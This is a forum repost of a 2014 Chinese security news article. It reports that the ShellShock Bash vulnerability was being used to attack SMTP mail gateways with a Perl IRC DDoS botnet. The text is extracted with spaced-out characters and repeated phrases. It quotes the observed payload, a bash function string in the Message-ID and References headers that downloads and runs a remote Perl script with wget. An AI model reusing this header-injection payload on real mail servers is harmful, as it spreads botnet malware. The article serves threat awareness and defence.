搜索

[8384] 2014-10-29_Bash破壳漏洞（ShellShock）再变身：针对邮件服务器SMTP攻击

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-17
2014-10-29_Bash破壳漏洞（ShellShock）再变身：针对邮件服务器SMTP攻击 B a s h 破 壳 漏 洞 （ S h e l l S h o c k ） 再 变 身 ： 针 对 邮 件 服 务 器 S M T P 攻 击 凌 晨 几 度 i   F r e e B u f   2 0 1 4 - 1 0 - 2 9 B a s h 破 壳 漏 洞 （ 破 壳 漏 洞 （ S h e l l S h o c k ， ， C V E - 2 0 1 4 - 6 2 7 1 ） 新 的 利 用 方 法 又 来 了 ） 新 的 利 用 方 法 又 来 了 ！ 根 据 互 联 网 风 暴 中 心 ！ 根 据 互 联 网 风 暴 中 心 (   S A N S   I n t e r n e t S t o r m   C e n t e r ) 最 新 消 息 ： 破 壳 漏 洞 最 新 利 用 方 法 引 发 的 新 一 轮 攻 击 正 在 酝 酿 中 ， 这 一 次 ， 破 壳 漏 洞 形 成 的 僵 尸 网 络 利 用 的 是 最 新 消 息 ： 破 壳 漏 洞 最 新 利 用 方 法 引 发 的 新 一 轮 攻 击 正 在 酝 酿 中 ， 这 一 次 ， 破 壳 漏 洞 形 成 的 僵 尸 网 络 利 用 的 是 邮 件 邮 件 服 务 器 服 务 器 S M T P 主 机 ， 目 标 是 全 球 主 机 ， 目 标 是 全 球 S M T P 网 关 ！ 网 关 ！ 黑 客 们 在 试 图 破 坏 黑 客 们 在 试 图 破 坏 S M T P 系 统 系 统 “ 嘿 ， 我 的 老 板 啊 ， 这 次 互 联 网 风 暴 意 味 着 什 么 你 造 吗 ？ 意 味 着 我 给 你 回 邮 件 都 是 危 险 的 ！ ” ( 算 了 ， 我 不 回 你 了 啊 =   = ） 这 次 这 次 “ 破 壳 破 壳 ” 利 用 的 就 是 感 染 利 用 的 就 是 感 染 S M T P 网 关 ， 试 图 在 网 关 ， 试 图 在 M T A s   /   M D A s 中 寻 找 可 利 用 弱 点 ， 然 后 攻 击 者 把 恶 意 代 码 隐 藏 在 消 中 寻 找 可 利 用 弱 点 ， 然 后 攻 击 者 把 恶 意 代 码 隐 藏 在 消 息 数 据 报 头 中 ！ 息 数 据 报 头 中 ！ 互 联 网 风 暴 中 心 描 述 了 一 个 用 P e r l 编 写 的 I R C   D D o S   R o b o t ， 其 P a y l o a d 拥 有 “ 获 取 和 执 行 远 程 代 码 的 能 力 ” 。 下 面 一 个 图 片 就 是 包 含 下 面 一 个 图 片 就 是 包 含 “ 破 壳 破 壳 ” 有 效 载 荷 的 初 始 邮 件 攻 击 例 子 有 效 载 荷 的 初 始 邮 件 攻 击 例 子 :
二 进 制 防 御 系 统 B D S （ B i n a r y   D e f e n s e   S y s t e m s ） 已 经 主 动 侦 查 到 最 新 的 攻 击 细 节 。   那 些 已 被 破 坏 系 统 试 图 通 过 破 壳 漏 洞 传 播 僵 尸 网 络 ， 并 在 每 个 主 要 头 字 段 使 用 “ 破 壳 ” 漏 洞 下 载 僵 尸 网 络 脚 本 。 攻 击 者 利 用 的 字 段 有 ： “ T o : ” 字 段 、 “ F r o m : ” 字 段 、 “ S u b j e c t ” 字 段 、   “ D a t e : ” 字 段 、   “ M e s s a g e   I D : ”   等 等 还 有 其 他 未 发 现 字 段 M e s s a g e - I D : ( )   {   : ;   } ; w g e t   - O   / t m p / . l e g e n d   h x x p : / / 1 9 0 - 9 4 - 2 5 1 - 4 1 / l e g e n d . t x t ; k i l l a l l   - 9   p e r l ; p e r l   / t m p / . l e g e n d R e f e r e n c e s : ( )   {   : ;   } ; w g e t   - O   / t m p / . l e g e n d   h x x p : / / 1 9 0 - 9 4 - 2 5 1 - 4 1 / l e g e n d . t x t ; k i l l a l l   - 9   p e r l ; p e r l   / t m p / . l e g e n d B D S 还 还 透 露 ： 还 还 透 露 ： “ 为 了 感 染 S M T P 网 关 ， 并 把 它 添 加 到 现 有 僵 尸 网 络 设 备 中 去 ， 有 一 个 c u r l / w g e t / f e t c h / p e r l / l w p / e t c 的 方 法 正 在 试 图 从 耶 利 哥 安 全 团 队 ( J e r i c h o   S e c u r i t y   T e a m ) 摧 毁 基 于 p e r l 的 僵 尸 网 络 。 ” 自 从 九 月 初 发 现 “ 破 壳 ” 起 ， 弹 震 症 漏 洞 已 经 针 对 目 标 ， 在 不 同 类 型 的 设 备 上 重 复 利 用 了 许 多 次 。 许 多 安 全 专 家 也 相 继 发 现 了 多 次 利 用 “ 破 壳 ” 漏 洞 攻 击 全 球 设 备 的 僵 尸 网 络 ， 包 括 攻 击   V O I P 系 统   和 利 用 竞 选 传 播 恶 意 软 件 的 混 乱 的 僵 尸 网 络 。 蜜 罐 由 专 家 A l i e n V a u l t 实 验 室 检 测 到 试 图 利 用 “ 破 壳 ” 漏 洞 的 两 个 不 同 恶 意 软 件 样 本 ， 消 息 披 露 至 此 不 超 过 4 8 小 时 。 9 月 底 ， 火 眼 研 究 室 月 底 ， 火 眼 研 究 室 ( F i r e E y e ) 也 预 言 也 预 言 : “ 从 恶 意 流 量 上 观 察 发 现 ， 试 图 利 用 从 恶 意 流 量 上 观 察 发 现 ， 试 图 利 用 B a s h   b u g 的 大 规 模 网 络 攻 击 正 在 路 上 。 的 大 规 模 网 络 攻 击 正 在 路 上 。 ” 目 前 相 关 报 道 还 比 较 少 ， 更 多 内 容 请 留 意 目 前 相 关 报 道 还 比 较 少 ， 更 多 内 容 请 留 意 F r e e B u f . C O M 带 来 的 跟 踪 报 道 带 来 的 跟 踪 报 道 [ 参 考 信 息 参 考 信 息 t h e r e g i s t e r & S A ， 编 译 ， 编 译 / F B 小 编 凌 晨 几 度 小 编 凌 晨 几 度 i ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M ] 阅 读 原 文

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理